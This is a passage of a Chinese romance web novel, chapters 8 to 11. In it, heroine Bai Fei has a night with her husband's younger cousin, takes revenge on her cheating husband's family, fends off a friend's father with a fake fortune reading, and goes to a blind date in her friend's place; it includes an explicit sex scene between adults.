白绯心里烦躁,把烟头掐灭在垃圾桶上,染着红色指甲油的手指插入发间揉了揉,随口道:“那你就陪我一起去吧。”
医院斜对角就有一家酒吧,名叫“浮光若梦”。
白绯抬脚朝那边走了过去,而祝临川竟真的亦步亦趋地跟了上来。
二人都是堪比娱乐圈明星的长相,吸引了不少路人的围观,尤其是正准备进酒吧的客人,都满眼期待地看着他们。
白绯单手解开身上的黑色西装外套,里面是一件宽松的白T恤,下面是一条做旧的阔腿牛仔裤。
在进门前,她最后问了祝临川一句:“小弟弟,真要跟我进来?”
她的视线意有所指地扫过祝临川的唇,又划过滚动的喉结,红唇微勾:“你这样的,进去可会被吃掉哦~”
祝临川接过她手臂上挂着的外套,沉默却又坚定地跟了上去。
见状,白绯轻轻笑了一声。她单手抓住衣服的下摆,在围观众人的惊呼声中脱下了T恤。
在被衣服兜头盖住脑袋遮住视线之前,祝临川只看到了如蛛网般缠绕的蕾丝与其下包裹的胸前饱满的弧度。
鼻尖是白茶花的馥郁香气,有人俯下身凑到自己耳边,带着和衣服上如出一辙的香气。
慵懒又戏谑的声音在耳畔响起,像是羽毛轻轻扫过,激起细微的战栗。
“呵...原来你喜欢啊,小童工。”
8. 兔子吃了窝边草
酒吧的门被推开。
长发如瀑的女人慵懒地走了进来,眼波流转间是拒人于千里之外的冷艳,却又让人想要靠近沉沦。
精致的黑色蕾丝吊带包裹住动人的曲线,裸露在外的皮肤如上等的白瓷,在昏暗的灯光下几乎发着光。一截窄腰马甲线分明,肚脐圆润可爱。两条长腿包裹在宽松的牛仔裤下,却更显得腰肢柔韧,臀型饱满。
所有人都下意识屏住了呼吸,视线像钩子似地粘了上去。
有人举起酒杯微笑致意,有人已风度翩翩站了起来。
然而娇艳的美女背后却出现了一个板着脸的男人,在火热粘稠的气氛中散发着阵阵冷气,活像所有人都欠着他三百万似的。
殊不知此时祝临川心里早已乱成一锅粥。他肘间还搭着白绯的西装与T恤,柔软的布料贴合在裸露的小臂皮肤上,却让他感受到烫人的灼意。
“她怎么能当着这么多人的面脱衣服…”祝临川站在白绯身后,有些恼羞成怒地瞥去一眼,却由于身高差居高临下,正好看见人胸前深深的沟壑,直接让这苦大仇深了二十年的纯情男大当场红温了。
白绯余光瞥见祝临川一副眼神都不知道往哪里摆的羞窘模样,心中好笑。
“来杯金快活。至于这位…”白绯懒懒地靠在吧台边,灯光下的她浑身散发着择人欲噬的攻击性,像妖艳又危险的美女蛇:“没断奶的小狗…呵呵,还是喝奶吧?”
祝临川不敢看她,抿着嘴对偷笑的酒保道:“清水,谢谢。”
暧昧轻柔的音乐混合着酒香在空气中流淌,男男女女在舞池中相拥摇摆。
有精英打扮的男人走了过来:“美女,喝一杯吗?”
白绯坐在高脚凳上,修长的食指轻轻敲击着玻璃杯,歪头冲男人笑笑,眉眼之间尽是风情:“好啊…”
二人竟就这么当着祝临川的面调起情来。一番你来我往的撩拨后,精英男一口饮尽了杯中的酒,舌尖暧昧地舔了舔唇角的酒渍,意有所指道:“换个地方?”
白绯一点就通,涂着鲜红甲油的手指游移着抚上男人的胸膛,惹得掌下的躯体不住起伏喘息。
灵活的五指转而牵起男人颈间的领带,随着手上用力,男人被迫微微倾身向白绯靠近。
白绯红唇微勾,像牵着小狗般拉着男人的领带带着他向店外走去,不想却被祝临川堵了个严严实实。
“你干什么去?”祝临川眉头皱得死紧,颇不赞同地看着白绯。
□□焚身的男人早已按捺不住,手已摩挲着抚上了白绯细腻的肩头,对这蹦出来的程咬金没好气道:“成年男女,你说做什么?”
“好了,别闹了。”因着医院里那出乎意料的保护,白绯难得的对祝临川多了些耐心:“你自己玩吧,不想玩就回公司。我明天回去。”说完就想绕过他走出去。
岂料祝临川却像是吃了秤砣铁了心,横跨一步又挡住了她:“不许去。”
这下可把白绯气笑了:“呵…你谁啊,以什么立场管我?”
祝临川的手微微攥紧了搭在胳膊上的衣服,将那贴身的T恤都攥出了深深的褶皱:“你是我嫂子。”
白绯嘲讽笑道:“我记得今天来的时候就和你说过吧,我不是你嫂子,我和你哥已经结束了。”
祝临川却倔得像头驴:“在你们办完手续前,你就是我嫂子。你还是有夫之妇,不能随便和别的男人…”他抿着嘴,耳朵上又泛起薄红,说不下去了。
白绯笑着扭头问精英男:“你介意我是有夫之妇吗?”
精英男邪笑道:“那不是更好吗?”
祝临川简直被震惊了,索性闭嘴不言,只牢牢地堵着路不放人。
正精虫上脑的精英男如何忍得了被三番四次地碍事,揪着祝临川的领口,举起拳头就要揍人:“你踏马有病吧?故意找事呢?”
白绯虽说也恼火,但终究不想闹出事来,上前几步就想劝。
然而没想到,祝临川看着瘦弱,力气却很大,握住精英男的手腕用力一掰,直叫人痛呼着求饶起来。
“啊啊啊…放手!啊,胳膊要断了!”
酒吧里已经有人注意到这处的混乱,窃窃私语起来,甚至还有人掏出了手机。
白绯可不想自己的脸明天就流传在网络上被人八卦,恼怒地瞪了祝临川一眼,也不管单方面挨揍的精英男,头也不回地走出了酒吧。
祝临川松开了手,追着白绯往外走去。
精英男眼看到手的鸭子飞了,扶着自己青紫的手腕低低啐了一口:“妈的,什么毛病,啧,痛死我了。”
祝临川走出酒吧大门,却早已没有白绯的身影。
兜头的冷风吹在脸上,让他混沌的大脑终于有了一丝丝的清醒。
突然,从后面伸出一只纤长的手臂,从腰间如蛇般盘旋而上,指尖最终落在了他砰砰直跳的心脏之上。
祝临川瞳孔紧缩,他认出了这双手,是白绯。
顺着手上传来的力道,祝临川倒退几步被拉进了昏暗的小巷里,半坐在了几个叠放的纸箱上。
带着白茶花香气的手捂住了他的眼睛,紧跟着腿上一沉,一具柔软火热的躯体跨坐在了他紧绷的大腿上。
二人紧紧贴在一起,温度透过薄薄的衣料传递到他的皮肤上,带起酥麻的电流。
祝临川的喉结控制不住地滚了滚。
白绯低低的笑声在耳边响起,伴随着湿热的吐息,像是某种危险的耳语:“呵…想什么呢,这么紧张?”
指尖轻拂过手掌下高挺的鼻梁,紧紧抿着的嘴唇,最后停留在不住滚动的喉结之上,带着令人心痒的节奏。仿佛燃烧的火焰,既危险又令人无法抗拒。
吞咽口水的动静在寂静的小巷里显得格外的大,白绯眼看着掌下的俊脸漫上薄红,竟是意外地秀色可餐。
她的手就那么松松捂着祝临川的眼睛,感觉到掌心不断被颤抖的睫毛刮过,勾起的痒意却仿佛传遍了全身。
她本只是想捉弄这个坏她好事的小孩,如今竟意外地有了食欲。
白绯看着祝临川露在衬衫领口的平直锁骨,张开嘴一口咬了上去。
祝临川疼得下意识一抖,却没有没有任何抵抗,支撑在身
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下纸盒上的手却青筋暴起。
白绯满意地看着被她咬出血渍的伤口,伸出鲜红的舌尖微微一勾,将鲜血带进了嘴里。
臀下的触感改变了。
白绯挑着眉感受了片刻,心中讶异。没想到这小子,本钱也不错嘛。
她低笑一声,偏过头去,含住那红得快滴血的耳垂轻轻舔了舔。
随着这一下舔舐,白绯裸露在外的纤细腰肢被一双火热的大手猛地掐住,惹得她吃痛地叫了一声,然而腰间的手却掐得更紧了。
祝临川被蒙着眼睛,微微仰起了头,紧抿的唇微微张开,像是期待主人施舍的小狗。
“想要什么?嗯?”白绯愉悦地笑了起来,居高临下看着这具年轻的□□因为自己而激动,“不让我和别的男人走…呵,那你现在在和你的嫂子做什么呢?”
手掌下的眼睛在不安地眨动,腰间的手掌却告诉她不要走。
“既然你赶跑了别人…”白绯凑过去,二人的唇差之毫厘,“那就由你来把我想做的事做完吧…”
话音刚落,红唇就覆了上去。起先还占据优势,后来却被反客为主,攻城掠地,城门失守了。
好在祝临川理智尚存,艰难地把自己从白绯身上撕了下来,一把抱起被亲得腰酸腿软的白绯,将人带进了隔壁的酒店。
二人关上房门,隔绝了前台小妹八卦又害羞的视线,就又迫不及待拥吻在一起。
唇舌交接间发出濡湿的水声,衣物被彼此扯开,散落一地。
白绯仰躺在床上,抚摸着祝临川结实的背肌,再次意识到自己小看了他。
起伏流畅的肌肉蕴含着凶猛的爆发力和迷人的荷尔蒙。
缠绵间,祝临川却突然停止了亲吻,青筋隆起的小臂支撑在白绯身侧,慢慢向后退去。
白绯眯着朦胧的眼,后肘撑起身体,不满地嗔道:“你…”
话音刚落,就因为快感而软了身体,重重摔回了枕头上。
激烈的快感席卷了她,祝临川柔软的舌将她推上一波又一波浪潮的顶端。
纤细的十指搭在床单上,绞出了大片的褶皱。白绯咬着唇艰难抵御着汹涌的电流,最终却还是一败涂地。
过度的快感让她失去了理智与清明,有汗水低落在她的身上。
都说十八岁的男生堪比钻石,这个白绯没有经验不予置评,但如今身上这个二十岁的男大是真的让她开了眼。
房间里的动静直到天微微亮,才终于停息。
白绯几乎是立刻就沉沉睡了过去,直到被手机电话铃声吵醒。她从被窝里伸出一只手去够床头的手机,闭着眼睛按下了接通键:“喂…”
“白小姐,你感冒了吗?怎么嗓子这么哑?”电话那头传来一个熟悉的男声,只听他兴奋地大笑道,“哈哈哈哈,这就是你说的大礼吗?罗大猪蹄子一家都被关在婚房外进不去啦!老太婆正在垃圾堆里哭天抢地地找行李呢哈哈哈哈哈…”
意识逐渐回笼。白绯拖着横在腰间的手臂坐直了一些,后知后觉到,罗峻辉终于出院了,并且已经发现,婚房的锁被换掉了。
9. 万叶丛中过
白绯懒懒地靠在床头,听那头的陆寻兴致勃勃地汇报罗家的最新动向:“那大傻子哆嗦着腿回来一看,发现门打不开了,当场脸就绿了哈哈哈哈。白小姐,你真该来现场看看。不过幸好我机智,提前拍了视频。我现在就发给你啊~哈哈哈哈,爽得我乳腺都通畅了~”
白绯:…
男人有那玩意儿吗?还真有。
电话被挂断,很快手机上就发来一段视频,白绯饶有兴致地打开看起来。
视角有些晃动,看得出来是躲在拐角偷偷拍的。
罗峻辉脸色铁青地站在门口,密码锁大声地报着警:“密码错误,滴滴滴,密码错误,滴滴滴。”
有邻居模样的人站在电梯口八卦。
“哎哟,这是怎么了,怎么自家的门都进不去啦?”
“你没看业主群啊?2301昨晚都看见啦,有开锁师傅连夜过来换了锁,还有搬家公司来把家里的东西都扔到了楼下垃圾房嘞~”
“嚯~这开锁公司换锁不是要经过业主授权的么?”
“那当然啦,业主本来就不是他啊,是白家那个闺女。你还不知道吗,这男的是倒插门…”
电梯门开了,邻居嘻笑着走了。罗峻辉被气得浑身发抖,狠狠一拳锤在了墙壁上。
墙砖分毫未损,罗峻辉的手背却开始汩汩流血。
视频结束,白绯满意勾唇,觉得自己刚穿来时受的憋屈勉强散了些。
她没注意到横在自己腰间的手鬼鬼祟祟缩了回去,又打开了陆寻发来的第二段视频。
这段视频是俯拍,随着视角不断拉进,最终定格在了垃圾房处。
祝老太满脸快撅过去的模样,正从散发恶臭的垃圾桶里抢救自己的行李。
她一边干呕一边咒骂,距离太远听不清,想必也不是什么好话。
罗雪萍红着脸站得远远的,一点也不想靠近。周围都是吃瓜群众,正对着二人指指点点。
祝老太越捡越气,看着自己舍不得穿的新衣服被泡在残羹剩饭和厕所垃圾里,抚着自己的胸口不断倒气。
然而越是倒气越是将垃圾房的臭气吸进肺里,一张脸红红紫紫颇是骇人。她似乎是注意到了干站着的罗雪萍,咆哮着充了上去,用还沾着脏污的手直接给了她一个大耳刮子。
罗雪萍尖叫一声,众目睽睽下挨打的不堪终于让她崩溃了,扑上去和叉腰怒骂她的祝老太扭打在一起。
母女俩就这么在垃圾房互扯头花,滚到在污水横流的地面你掐我咬,打得好不热闹。
白绯细细欣赏着二人狼狈的模样,电话却又突然响了起来。
打来的是罗峻辉。
白绯眉梢一挑,从容地按下了接通键。
电话一被接通,罗峻辉的咆哮就通过扬声器传了过来,看得出来是真的气狠了。
“白绯!是不是你把家里的密码换了,还把我们的行李都扔出去?!从新婚夜你就开始发疯,这婚你要是不想结可以不结!现在,立刻给我滚回来道歉!”
傻子才给你们这一家子不要脸的道歉。
白绯脸上不屑,语气却很无辜:“老公,你说什么呢,我没有做这些事啊?但是我从那晚起就总是莫名其妙失忆,完全不记得自己说过什么做过什么…”
她说着说着竟还嘤嘤哭泣起来:“老公,你说我会不会是被什么脏东西缠上了啊?”
闻言,罗峻辉的怒气戛然而止,脑海中又想起昨夜老娘的话来。
当时他正犹豫要不要联系白绯,祝老太翘着二郎腿坐在窗边嗑瓜子,不屑地阻止道:“那小婊子要走就走呗,走了正好,我们一家子住得不是更舒坦。白家干这种晦气行当,谁知道会不会招惹上什么不干不净的东西,没准昨晚她就是中邪了呢?”
罗峻辉握着手机,有些将信将疑:“应该不会吧?”
白绯的脸色冷漠,语气却带着柔弱的哭腔,演技堪比奥斯卡影帝:“但我真的完全不记得自己做过什么,只记得那晚卸妆的时候在镜子里看见了诡异的影子…呜呜呜呜,爸爸妈妈现在把我关在家里,说我不对劲,要找人给我驱邪。”
她就像一个深爱自己老公的娇妻,为他的安全真心地担忧,劝道:“老公,要不你也先别回去了吧,我怕那镜子里的女鬼缠上你。虽然那女鬼说只恨不忠的男子,你必然不是的,但都做鬼了,谁知道她会不会发疯伤了你?也许就是她操纵我换了密码,又把你们的东西扔出去也说不定…”
罗峻辉此刻已经被说服了,他心虚得不行,毕竟他也知道,自己的确早就不忠于白绯。
白绯又给他点了最后一把火,道:“等我把身上的邪祟赶走,我再来找你,老公你还会要我的对不对?”
罗峻辉闻言松了口气,想着这倒霉事就让白家自己担去吧。治死了,他能继承遗产,治好了,白绯也会上赶着倒贴,怎么都不亏就是了。
于是他放柔了嗓音,安抚道:“对不起,绯绯,我没想到你原来是病了,都怪我,是我错怪你了。”
白绯心里直呕,嘴上却配合道:“没关系的老公呜呜呜呜,我知道你最爱我了。”
罗峻辉见白绯又恢复了往日的娇妻模样,也放下心来,道:“那我先带着妈妈她们去别处暂住,等你好了我们再一起回家。”
话语间丝毫没有对白绯安危的担忧,只有死贫道不死道友。
白绯自然知道这一家子会搬去哪里,小三那不是正有一处现成的房子嘛!她很是期待,昨天还在病床前其乐融融的一家子,等住在一起后会摩擦出怎样的火花。
那头的罗峻辉已经挂断了电话,显然是急着离开鬼屋以免招惹邪祟。
白绯放下手机,神清气爽伸了个懒腰,揉着脖颈下了床。
她也不避讳人,就这么袒露着满身的痕迹走进了洗手间。
直到门咔嚓一声合上,祝临川才从被子里露出了脑袋。确认白绯已经进了洗手间,才鬼鬼祟祟从床上下来,捡起地上的衣服开始穿。
他整个人都泛着红,小麦色的皮肤上还有些新鲜的抓伤,灰色的眸泛着淋漓的水光,仿佛他才是被吃干抹净的那个。
随着劲瘦结实的□□被衣服重新覆盖,他又恢复成了从前那个淡漠的年轻人。但只有他心里知道并不是。
祝临川在原地纠结了一会儿,最终还是弯腰捡起了白绯的衣服,将它们整齐地放在了床上。
他开始收拾一片狼藉的床铺,然而上面早已布
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满了各种可疑的液体,看来只能再给酒店交一笔清洁费了。
而最吸引他视线的,是床单上几滴鲜红的血渍。
脑海中又回忆起昨夜的纠缠,他以为是自己弄伤了白绯,却听那人笑得像吸人精气的魅魔,舔咬着自己的耳垂低笑道:“我的第一次,喜欢吗?”
祝临川只觉得自己又要冒烟了,初尝情欲的身体也经不住这样的刺激,仿佛又要有所反应。
洗了个热水澡的白绯裹着浴巾走了出来,她一边用毛巾擦拭着半湿的头发,边神色自如地走到床边,看到整齐的衣物时还顺口夸奖了一句:“想不到你挺贤惠么~”
二人收拾妥当就退了房,去酒店开上车回了公司。
回去后,白绯先是把林柔的单子交给了父母,由他们去通知工匠,又和小施一起将其他需要的东西打包整理放在了一处,方便后续需要的时候取用。
期间,周芸好奇地问了句:“你俩昨晚干什么去了,怎么都没回来。”
正在挑拣头枕脚枕的祝临川浑身一僵,下意识地去看白绯。
却见白绯毫不在意地挠了挠下巴,回道:“去酒吧玩了玩。”
周芸答道:“去酒吧玩还是要注意安全。以后想去还是带上小祝,有他跟着照顾你我放心。”
那可不是,都照顾到床上去了呢。
白绯没心没肺的冲母亲敬了个礼,嘻嘻哈哈道:“遵命!”
小施看着祝临川放进箱子里的第五个七星棺宝床,担心地拍了拍他:“小祝,你没事吧?怎么看着魂不守舍的?”
祝临川沉默地摇了摇头,像个锯嘴的葫芦般不吭声。
白绯却丝毫没有注意他,正在专心致志地整理自己的化妆箱,检查里面是否有需要补货的东西。油彩、粉底、肤蜡、化妆棉、化妆刷、棉签、棉花…确认一切无误后,她才放心地盖上了盖子,全程没看满腹心事的祝临川一眼。
活像个提上裤子不认账的渣男。
小施眼看着祝临川愣愣地看了会儿自家大小姐,之后又开始往箱子里放第六个七星棺宝床。
他无奈扶额,心道:这真没事吗?怎么出去一趟魂都没了?
勾魂使者白绯检查完东西就没心没肺地走了,才刚走到前厅就看到了一个熟人。
扎着马尾的圆脸女孩红着脸低着头不吭声,白书远满脸疑惑地站在她面前问:“请问你找谁?”
他看着眼前吭哧吭哧不开口也不敢和自己对视的小女孩,心想难不成这孩子是个哑巴?
好在白绯及时走上前,拯救了这个都快把衣角揪烂的重度i人。
“爸,这是我同学陈安夏,来找我的。”
白书远恍然大悟地哦了一声,嘱咐她好好招待人家,就走去后厅忙活了。
白绯脑中闪过关于陈安夏的剧情,这也是个没什么戏份的路人,患有重度社交恐惧,不敢和人说话,待在人多的地方甚至会喘不上气,只能和温温柔柔的原主说上几句话。
“安夏,你找我有什么事?”
随着白父的离开,陈安夏终于能顺利开口了。
她抬起圆圆的脸,眼睛里含着泪花,扯着白绯的衣角委屈道:“绯绯,你一定要帮帮我…”
10. 不要在垃圾堆里找对象
“别急,你慢慢说。”闻言,白绯的表情严肃起来。她引着看起来十分焦虑的女孩到大厅沙发上坐下,又给她拿了杯可可,挨着她坐下,鼓励地看着她。
陈安夏一脸的生无可恋,正准备开口,就看到祝临川从屋外走了进来。
脱口的话又被她咽了回去。陈安夏惶恐不安地捏着捏着饮料纸盒,咔嚓咔嚓咬着吸管,直到祝临川拿着一个骨灰盒离开,才又谨慎地抬起头。
她的鼻尖都出了些细密的汗珠,看得出来确实十分紧张。
确定屋里只剩下她们二人之后,陈安夏嘴一憋,哭丧着脸哀求道:“白绯,我能来你这里上班吗?”
白绯:...这是怎么了,怎么最近一个两个的都要来这上班?什么时候殡葬行业也成香饽饽了?
“怎么突然想来这儿上班了?”
陈安夏咬着唇,哭诉道:“你也知道我社恐又多严重,根本没办法出去正常上班。我爸就天天在家念叨我,说我既然不能上班就早点找个人嫁了,现在每天都逼着我去相亲。你能信吗?我这周见了整整二十个!”
白绯:...
她同情地拍了拍陈安夏的肩膀,安慰道:“确实难为你了。”
陈安夏回忆起这段时间的相亲经历,浑身的汗毛都开始起立,和白绯吐槽道:“本来我就害怕和人交流,结果来相亲的人还个顶个的奇葩,简直要了我的命!有一个一见面就动手动脚把我往宾馆里拉,还有上来就狂炫东西还要一口都没动的我AA餐费,还有一个甚至是坐了十年牢才刚放出来的!”
陈安夏揪着自己胸口的衣服,简直快气晕过去了,哭诉道:“最后还有躺在床上的植物人,说和我结婚了马上就能醒过来的!”
白绯感叹道:“...相亲局可真是汇聚了全世界的奇行种啊!”
陈安夏终于等到了理解自己苦处的人,几乎热泪盈眶。这几天她都开始怀疑人生,难道这个世界上不正常的真的是自己吗?对比那些歪瓜裂枣,她真心觉得自己的社恐也只能算是无伤大雅的小毛病了。
她想起这些事还心中后怕,忍不住打了个寒颤,道:“就算我是社恐,也不能叫我和这些人随便结婚吧?可是我爸都魔怔了,一门心思就想把我嫁出去。昨天他还打电话给供电局,非叫人家把我们家门口的电线杆给挪走了,说这叫光棍,挡了我的桃花。还说我手机号也不吉利,里边有六个一,所以我才一直单身。”
陈安夏深深地叹了口气,道:“你也知道,我妈走得早,我爸逼我,说如果我不去今天的相亲局,就把我妈的骨灰挖出来放回家里,直到我找到对象为止。”
白绯:啧。
“绯绯,你说我该怎么办啊?”陈安夏说着说着都快哭了:“我才23,一点也不想结婚,只想自己一个人好好过。绯绯,你这里缺人吗?我现在只想和死人打交道,一点也不想再见我爸,也不想再和那些奇葩相亲了...”
白绯很同情她,爽快道:“可以,我们这里正缺人手。只是一般人都害怕和逝者打交道,你真的没问题?”
陈安夏感激地握住白绯的手:“只要他们不要开口和我说话,我反而觉得他们比活人亲切多了!”
白绯:“...那行。”
陈安夏松了一口气,正要说话,就见祝临川又从外边晃荡进来。她立刻就蜷缩起了身体,躲到了白绯身后。
祝临川在里面晃荡了一圈,又拿着一个遗像框走了出去。
白绯看着祝临川,心下疑惑,他是故意在自己面前刷存在感吗?
突然,陈安夏身上的电话狂震了起来。她打开一看,脸色又难看起来:“是我爸,肯定又是来催我相亲了。”
白绯思忖片刻,心生一计,对陈安夏道:“你接电话,就说路上遇到一个算命高人,给你批了命盘。然后把电话给我。”
陈安夏早已走投无路,果断选择相信白绯,咬咬牙道:“好。”
她接通电话,在陈父咆哮着质问她为什么还没去今天的相亲局前开都打断,按着白绯的说辞讲完,陈父果然冷静下来,恭敬道:“那你把电话给大师。”
白绯冲她淡定地点点头,气定神闲地接过电话,张口就道:“令嫒八字逢孤鸾坐命,红鸾星隐于天邢宫。十年内若强牵姻缘线,恐引三煞冲克父母宫。正乃亲缘劫。”
陈父听到说话的是个女声,下意识就怀疑了三分。
女人都是些上不了桌的玩意儿,哪还能给人批命格呢?
可他听到那些话又心中踌躇,毕竟这可是关系自家兴明的事。宁可信其有,不可信其无。
陈父犹犹豫豫地反问:“当真?你可别是哪来的骗子胡乱瞎说吧?”
白绯冷笑一声:“良言难劝该死鬼,我话已至此,信不信随你。你若非要破此忌讳,必将遭无妄血光。告辞。”
说完就把电话交还给了陈安夏。陈安夏也乖觉,开始给陈父煽风点火:“爸爸,这个高人是我在路上遇见的,没有要我一分钱,本来批了命格就要离去,是我拦着她才留下来的。爸,要不我们还是等等吧,你可千万不能出事啊!”
陈父此时已信了八分。他催促陈安夏结婚,不过是想把家里的赔钱货早早卖出去,好拿了彩礼出去吃喝玩乐,所以才什么人都相,只要彩礼出得高就行。但事关自己的性命,陈父也只好将此事暂缓了。
他只得道:“那行吧。但今天的相亲局都定好了,你必须去!如果这次不成,那就十年后再说吧!”
电话挂断了,陈安夏又喜又忧,喜的是以后终于不用再相亲了,忧的是还得去最后一次,她是真的已经相怕了。
白绯看她一副仿佛要去赴死的模样,索性道:“把地址发我,我替你去一趟吧。你就在这儿待着,正好先熟悉熟悉环境。”
陈安夏感激涕零,冲白绯双手合十道:“绯绯!你真的太好了!呜呜呜呜呜,我是真的不想再见这些奇葩了。”
白绯啼笑皆非,看看,这好好的女孩子都被逼成什么样了。
她把陈安夏带去交给小施,陈安夏面对憨厚的小施明显要放松很多。
白绯叮嘱了小施几句,就回二楼卧室去换了身衣服。刚走出房间,就又撞上了祝临川。她也没多管,手指上套着钥匙圈就往小院走,结果祝临川却赶上来拦住了她。
“你去哪儿?”
白绯随口糊弄:“出去玩玩~”
她正想拉开车门,却被祝临川摁着车门又关了回去。
白绯:?
“你干嘛?有事?”
祝临川嘴唇紧抿,一副欲言又止的模样。
“有话直说,你这副便秘的样子是做什么?”白绯无语地翻了个白眼。
祝临川歪着头不看她,语气哀怨:“你又要去酒吧?”
白绯莫名其妙:“不是啊...谁家好人大白天去酒吧啊?”
说完,她自己也回过味来,皱着眉疑惑地回道:“就算我去酒吧,也和你没关系吧?”
祝临川却搬出了周芸:“阿姨说了,你去酒吧的话要带上我。”
这可把白绯逗乐了。她双手抱胸,揶揄地笑起来:“哦?带上你干什么呢?”
祝临川抿着嘴不说话,脸上却肉眼可见地漫上薄红。
白绯又想起他在床上的模样,明明红着脸害羞得不行,身下的力度却一下比一下狠。又纯、又欲、又粘人,时时刻刻都在追寻着她的唇。
她不禁又起了逗弄之心,懒懒笑道:“怎么,舍不得我?”
白绯似笑非笑地往前几步,看着祝临川被她的逼近吓得连连后退,更是玩心大起。
她一路将祝临川逼到了院墙处直到无路可退,伸手挑起他的下巴,踮起脚轻轻啄吻上去。
唇一触即分。
祝临川紧张得双手按住了身后的院墙,墙皮被抠得簌簌往下直掉。
白绯看他这副纯情的模样,只觉得真
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真是秀色可餐。她原本只当昨夜是露水情缘,现在却觉得,自己也不介意再多吃几次。
但时间已经不早,白绯只得遗憾地松开手,解释道:“我替安夏,就是刚才的女孩,去拒绝一场相亲。她有社交恐惧症,害怕和人打交道。以后她也会在这儿上班,你们多照顾着她点。”
白绯看了眼手机,拉开驾驶室门坐了进去。她摇下车窗,对还愣愣靠在墙边的祝临川道:“我去去就回,别这么魂不守舍的样子。不然我会以为,你对我情根深种了呢~”
祝临川的脸瞬间爆红,下意识反驳道:“谁对你...”
然而白绯早已踩下油门,扬长而去。祝临川看着逐渐消失在路尽头的车子,心里很是纠结。
他看出来了,白绯对于昨夜的事很不以为然,显然只把这当成一场普通的情事。即使不是他,也会是其他人。毕竟,白绯一开始,不也打算与那个精英男一起出去吗?
想到这里,祝临川的脸冷了下来。但是...
他抬起右手,摸了摸自己的锁骨。在衬衣的遮掩下,下面还有一个深深的咬痕...
他的心又柔软下来。他昨天没有告诉白绯,自己其实也是第一次。他愿意对白绯负责,等到她和表哥离婚,自己就会对他求婚。但他很快又想到,白绯也不过把自己当个玩物,根本就不在乎,也不需要自己对她负责。
祝临川站在原地纠结了半天,脑袋里一团乱麻,一会儿甜蜜、一会儿苦恼、一会儿落寞。
小施带着陈安夏正好路过,看着他表演变脸似的表情,无语地摇了摇头。
白绯对这一切都不知情,她停好车向咖啡厅走去,却在拐角处意外地撞见了一个熟人。她下意识躲到墙后探头看去,意外地挑了挑眉,这不是罗峻辉的小情人嘛!
小情人正被一个长相狠厉体格健壮的年轻男子搂在怀里,二人靠在小巷子里啃得难舍难分,眼看着都要现场表演一出妖精打架了,小情人却突然推开了男人。
她喘着气道:“不行,陈昊,我必须得回去了,罗家人已经在小区等我了。”
陈昊不满地捏了把女人的臀,阴沉着脸道:“怜心,那姓罗的不是去住婚房了吗,怎么突然好端端地又要搬到你屋里去,那我以后岂不是都不能去那儿找你了。”
顾连心嘤咛着倒进陈昊怀里,手扶着他结实的胸肌,语气也很不满:“谁知道他突然抽什么风。阿昊,要不我们走吧,反正我们已经从罗峻辉手里骗到不少钱,房子也有了,车子也有了...”
闻言陈昊瞬间冷下脸来,他本就长得凶悍,如今臭了表情更是一看就不是个好人。他狠狠地掐着顾怜心的下巴,质问道:“你不爱我了?”
顾连心的脸刹时间惨白,含着泪水辩白道:“你怎么会这么想我?!”
泪水划过她那张楚楚可怜的脸,伤心欲绝道:“我都为你出卖了自己的身体,你怎么还质疑我对你的爱?!”
对着这张我见犹怜的脸,陈昊却不为所动:“那你为什么一点也不替我们的未来考虑?如果你现在退出,我们再去哪里找这样的肥羊?”
打完大棒,他也不忘给个甜枣。陈昊轻轻摸了摸顾怜心被掐红的下巴,循循善诱道:“宝贝,如果你真的爱我,就应该坚持下去。这是必要的牺牲,对吗?”
顾连心显然被说服了,楚楚可怜地嗯了一声。
陈昊将她搂进自己怀里,抚摸着她的长发,哄道:“乖。等我们把姓罗的手里的钱都捞走,我就带你远走高飞。”
白绯:...哦豁,好一场大戏。
二人又黏黏糊糊温存了一会儿,之后坐上一辆崭新的宝马X7扬长而去。
白绯意犹未尽地咂咂嘴,抱胸看了会儿他们离开的身影,对后续的发展更期待了。不过眼下,她得先去把安夏的烂桃花给打发了。
她扭头走进了咖啡厅,才刚进门就看见一个男人正在冲服务员大声咆哮:“赔钱!”
11. 可怕的相亲局
服务员看起来年纪不大,眉眼青涩,估计是出来打暑假工的学生。她手里捧着个水壶,身上的衣服也湿透了,含着泪花不知所措地连声道歉:“先生对不起,要不我给您擦擦...”
“擦你妈...”矮胖的中年男子低头擦着西装裤,上面被水打湿晕开了一片深色的痕迹。三小撮精心打理过的头发从耳后横跨秃顶,正随着他的动作不住颤抖。
男人擦了几下后发现一切都只是徒劳,不由地愤怒将纸巾揉搓成一团,狠狠地扔到了服务员脸上。
他伸出粗胖的手指一下下戳着服务员的胸牌,低声威胁道:“知道老子的裤子多贵吗?啊?!你踏马买得起?八百!少一分都不行!”
服务员瘦弱的身板被戳得连连后退,声音带着哭腔,低声辩解道:“可是先生,是您突然站起来撞到我,我才没端稳水壶...”
这下可把秃顶男人惹火了,阴阳怪气地冷笑起来:“那你的意思是都是我的错了?好啊,看你年纪轻轻的,原来这么没有教养,难怪只能来做些下三滥的活...”
“不是...先生,我不是这个意思...”服务员被他说得百口莫辩,委屈地闭嘴不说话了。
白绯看着这咄咄逼人的秃头,嘴角抽搐。
离开前,陈安夏告诉白绯:“今天的相亲对象是个难得的正常人。年龄30,身高175,体重120,长得也是眉清目秀的,说是在银行做客户经理。”
陈安夏把对方发来的照片拿给白绯看。照片里是一个头发茂密的年轻男子,穿着一件蓝白条纹polo衫,身形清瘦挺拔,确实还算不错。
“他说今天就会穿这一身,到时绯绯你看见他就能认出来啦~就是名字有点怪,好好一个清秀小哥怎么取了王大富这么个名字...”
“王大富?”
白绯的到来拯救了服务员。他原本正叫嚣着要叫经理出来,突然看到一个美女走过来,眼睛都亮了:“我是我是,你是...陈安夏?”
他双眼放光,也顾不上刁难服务员了,殷勤地迎了上来:“快坐快坐,哎呀,想不到陈小姐竟然是这样的大美女,哈哈哈哈...”
王大富上手就想来拉白绯,被白绯眼疾手快地躲过。
他也不生气,笑呵呵地搓着手看白绯落座。余光扫到服务员还泫然欲泣地待在一边,虽然心中不满,但也乐得在美女眼前装下大度,便大发慈悲般甩甩手示意她感激滚:“今天算你运气好,不和你计较了,以后做事小心点!真是个废物!”
白绯冲服务员点点头,示意她快走。她看着王大富脑门上孤零零的三撮毛,忍了又忍,实在没忍住,从手机里调出王大富的照片,问道:“这是你?”
王大富满脸的油光,借着看照片的机会就想来摸她的手。
白绯无语地把手往回一缩,挑眉看着他。
王大富讪笑一声,看了眼照片,理所当然地回道:“是啊,这就是我,陈小姐不是都认出我了嘛!倒是陈小姐太谦虚,说自己长相普通,你要是还普通,那大街上谁还敢称美女啊!”
白绯:...
